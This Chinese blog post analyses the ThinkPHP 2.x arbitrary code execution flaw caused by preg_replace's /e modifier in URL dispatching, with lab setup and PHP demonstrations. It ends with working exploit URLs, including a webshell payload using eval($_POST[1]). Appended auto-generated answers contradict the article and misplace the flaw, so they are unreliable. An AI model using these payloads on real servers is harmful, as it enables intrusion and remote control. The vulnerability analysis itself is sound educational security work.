漏洞在线利用php源码,ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行

ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架,这个框架曾经爆出各种RCE和SQL注入漏洞。斗哥将带来ThinkPHP各个版本的漏洞分析文章,此为第一篇从TP最早的版本开始分析。

0x00 漏洞描述

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

所以先来看看preg_replace这个函数,这个函数是个替换函数,而且支持正则,使用方式如下:preg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

下面是搜索到的关于/e的解释:e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;

/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

本地测试直接使用下面这行代码测试即可,可使用在线PHP沙箱来测试。<?php

@preg_replace('/test/e','print_r("AAA");','just test');

这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了。

0x01 环境搭建与漏洞复现

斗哥选择了vunhub的docker靶场进行环境搭建,执行如下命令启动ThinkPHP 2.1的Demo应用:docker-compose up -d

访问http://10.10.10.199:8080/index.php?s=/index/index/xxx/${@phpinfo()}

markdown-img-paste-20191203100903719.png

0x02 分析学习

从漏洞挖掘的角度,如果采用的是关键函数查找的方式,应该是先搜索preg_replace这个函数,发现使用了这个函数之后,在查看是否使用/e修饰符,然后查看是否存在可控参数,如果存在,在分析是否可以传参利用。docker ps

docker exec -it /bin/bash

cd /var/www/html

find . -name '*.php' | xargs grep -n 'preg_replace'

存在preg_replace函数的脚本:./ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php

./ThinkPHP/Mode/Lite/Dispatcher.class.php

./ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php

./ThinkPHP/Lib/Think/Template/TagLib.class.php

./ThinkPHP/Lib/Think/Util/HtmlCache.class.php

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php

./ThinkPHP/Common/extend.php

./ThinkPHP/Common/functions.php

存在/e修饰符的脚本:./ThinkPHP/Mode/Lite/Dispatcher.class.php:115: $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,\/]+)@e', '$pathInfo[\'\\1\']="\\2";', $_SERVER['PATH_INFO']);

./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57: $rule = preg_replace('/{\$(_\w+)\.(\w+)\|(\w+)}/e',"\\3(\$\\1['\\2'])",$rule);

./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:58: $rule = preg_replace('/{\$(_\w+)\.(\w+)}/e',"\$\\1['\\2']",$rule);

./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:60: $rule = preg_replace('/{(\w+)\|(\w+)}/e',"\\2(\$_GET['\\1'])",$rule);

./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:61: $rule = preg_replace('/{(\w+)}/e',"\$_GET['\\1']",$rule);

./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:68: $rule = preg_replace('/{|(\w+)}/e',"\\1()",$rule);

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:224: $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:239: $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', str_replace($matches[0],'',$regx));

./ThinkPHP/Common/extend.php:215: $str = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);

./ThinkPHP/Common/functions.php:145: return ucfirst(preg_replace("/_([a-zA-Z])/e", "strtoupper('\\1')", $name));

根据漏洞描述,有漏洞的代码位置在:./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

根据代码注释,了解到这个是thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。所以有必要了解一下thinkphp的关于这块功能的使用。

在我看来,thinkphp 应该也是MVC框架,所有的请求都是根据路由来决定的。而Dispatcher.class.php就是规定如何来解析路由的这样一个类。类名为`Dispatcher`,class Dispatcher extends Think

里面的方法有:

static public function dispatch() URL映射到控制器

public static function getPathInfo() 获得服务器的PATH_INFO信息

static public function routerCheck() 路由检测

static private function parseUrl($route)

static private function getModule($var) 获得实际的模块名称

static private function getGroup($var) 获得实际的分组名称

有漏洞的代码位置在static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。thinkphp 所有的主入口文件默认访问index控制器(模块)

thinkphp 所有的控制器默认执行index动作(方法)ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

如果不支持PATHINFO的服务器可以使用兼容模式访问如下:

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

漏洞所在关键代码块// 分析PATHINFO信息

self::getPathInfo();

if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL

$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));

$var = array();

if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){

$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';

if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {

// 禁止直接访问分组

exit;

}

}

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称

$var[C('VAR_MODULE')] = array_shift($paths);

}

$var[C('VAR_ACTION')] = array_shift($paths);

// 解析剩余的URL参数

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

$_GET = array_merge($var,$_GET);

}if(!self::routerCheck())

首先是没有路由规则,所以函数按照默认规则调度URL。

先看到 $var[\'\\1\']="\\2"; ,而$var是一个array。

代码1:注意看当前的变量a 值为字符串,且该字符串本脚本没有相同的函数名。<?php

function test($str)

{

echo "This func is run $str .";

}

$a='GoodGoodStudy';

$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:

[bbbGoodGoodStudybbb]

代码2:注意看当前的变量a 值为test()。<?php

function test($str)

{

echo "This func is run $str .";

}

$a='test()';

$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:

This func is run .[bbbbbb]

可以发现执行了test()这个函数,但是并没有传递参数进去。

代码3:注意看当前的变量a 值为test("\1")。<?php

function test($str)

{

echo "This func is run $str .";

}

$a='test("\1")';

$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:

This func is run helloworld .[bbbbbb]

可以发现执行了test()这个函数,我们表面传递的参数是"\1",结果表明参数确实传递进去了,但是本例传进去的是helloworld,helloworld是经过preg_replace()函数匹配要替换掉的原本那部分,现在转而成了参数进行传递了。

那我们假设现在$b的值是可控的,用户可以传参控制。

代码4:控制$b传递一个已知变量$c。<?php

function test($str)

{

echo "This func is run $str .";

}

$a='test("\1")';

$b='aaa$caaa';

$c="CXK";

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:

This func is run CXK .

基于这个结果,在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行,具体例子我们可以参考如下这个例子。

代码5:<?php

echo phpversion();

echo "\n";

$a = "CXK";

echo "aaaaa{${a}}aaaaaa";

echo "\n";

echo "aaaaa${phpversion()}aaaaaa";

运行结果:

5.6.19

aaaaaCXKaaaaaa

Notice: Undefined variable: 5.6.19 in [...][...] on line 11

aaaaaaaaaaa

可以看到,因为没有一个变量名为5.6.19所以报错了,但是代码却执行了,是不是有点像报错注入的感觉?

回到ThinkPHP的代码中来,可控的位置为implode($depr,$paths),implode()是将数组转成字符串,而'$var[\'\\1\']="\\2";'是对一个数组做操作。

来分析一下正则(\w+)\/([^/]+),这个正则的意思是取路径的每2个参数。

代码:<?php

$var = array();

$a='$var[\'\\1\']="\\2";';

$b='a/b/c/d/e/f';

preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);

print_r($var);

运行结果:

Array

(

[a] => b

[c] => d

[e] => f

)

通过上面的代码,更加清晰的是取出每2个参数,然后第一个参数作为数组的键,第二个参数作为数组的值,那么在这个过程当中,上述例子如果$b可控,同样会发生代码执行。

代码:此时$b采用的是双引号闭合的,注意如果采用单引号则不会有代码执行。<?php

$var = array();

$a='$var[\'\\1\']="\\2";';

$b="a/{${phpversion()}}/c/d/e/f";

preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);

print_r($var);

运行结果:

Notice: Undefined variable: 5.4.6 in [...][...]on line 5

Array

(

[c] => d

[e] => f

)

需要说明的是,代码执行的位置,必须是数组的值的位置而不是键的位置。

然后在回到ThinkPHP的代码中来if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称

$var[C('VAR_MODULE')] = array_shift($paths);

}

$var[C('VAR_ACTION')] = array_shift($paths);

// 解析剩余的URL参数

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

$_GET = array_merge($var,$_GET);

数组$var在路径存在模块和动作时,会去除掉前2个值。而数组$var来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路径。

所以我们可以构造poc如下:/index.php?s=a/b/c/${phpinfo()}

/index.php?s=a/b/c/${phpinfo()}/c/d/e/f

/index.php?s=a/b/c/d/e/${phpinfo()}

......

markdown-img-paste-20191203215646763.png

下面给出一个能够直接菜刀连接的payload:/index.php?s=a/b/c/${@print(eval($_POST[1]))}

markdown-img-paste-20191203232406836.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 这个问题是关于ThinkPHP 2.x是否存在代码漏洞的。据我所知,目前没有任何官方宣布过该版本存在漏洞的消息。但是任何一个应用程序都有可能存在漏洞,因此在使用任何版本的框架时都需要小心谨慎,并始终保持最新版本的更新。如果发现了任何问题,应该及时向官方反馈。 ### 回答2: thinkphp是一款非常流行的PHP框架,其中的2.x版本存在任意代码执行漏洞。该漏洞存在于框架的核心类文件中,攻击者可以构造特殊的参数,在受害者服务器上执行任意代码,导致服务器被入侵,甚至整个网站被控制。 具体来说,当用户的输入作为参数传递给框架的Loader类时,如果没有进行充分的过滤和验证,攻击者就可以通过注入恶意代码,来控制服务器。在thinkphp 2.x版本中,以下方法是存在问题的: ``` thinkphp/library/think/Loader.php -> import()方法 thinkphp/library/think/Template/Driver.php -> abstract parse()方法 ``` 在import方法中,如果用户通过GET或者POST请求向网站提交数据,在没有进行过滤的情况下,该参数会被直接传递给Loader类,当该参数中含有'://'或者'\\'时,Loader类会默认该参数为URL或文件路径,进而执行include等相关操作,这为攻击者提供了一个绕过安全限制的途径。 在parse方法中,如果用户提交了一个包含PHP代码的模板文件,攻击者可以通过提交的数据来控制parse方法执行时所使用的函数和参数,进而达到任意代码执行的效果。 为了避免该漏洞的出现,开发人员需要注意代码编写规范,尽量避免使用用户输入的数据来构造URL或文件路径,同时需要对用户输入进行充分的过滤和验证,包括数据类型、长度、格式等内容。此外,开发人员也可以使用更加先进的开发框架,或者借助第三方安全验证工具,对网站进行全面的安全测试,以及时发现和修复漏洞,保护网站安全。 ### 回答3: ThinkPHP是一款流行的PHP开发框架,被广泛应用于各种Web应用程序的开发。ThinkPHP 2.x是其中的一个早期版本,该版本因存在任意代码执行漏洞而备受关注。 该漏洞存在于ThinkPHP 2.x的模板解析机制中,该机制允许开发人员在视图页面中使用变量替换来展示动态内容。然而,在未对变量进行过滤的情况下,攻击者可以构造恶意变量,从而实现任意代码执行的攻击。 具体来说,攻击者可以通过在URL参数或提交数据中注入恶意变量来触发漏洞。该变量包含恶意代码,以及一些特殊参数来控制代码执行。攻击者可以通过该漏洞执行系统命令、读取敏感文件、获取访问权限等。 该漏洞的危害性较大,因此开发者应尽快升级到更高版本的ThinkPHP框架,或者采取其他措施来修复漏洞。具体措施包括: 1. 对用户提交的数据进行严格过滤和验证,确保不含有可疑的代码或命令。 2. 设置安全防护机制,如禁止用户上传和执行PHP文件、限制文件读写权限等。 3. 及时升级系统补丁,修复已知的安全漏洞。 总之,任意代码执行漏洞是一种非常危险的漏洞类型,需要开发人员加强安全意识和技术能力,采取有效的预防和修复措施,以确保Web应用程序的安全可靠。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值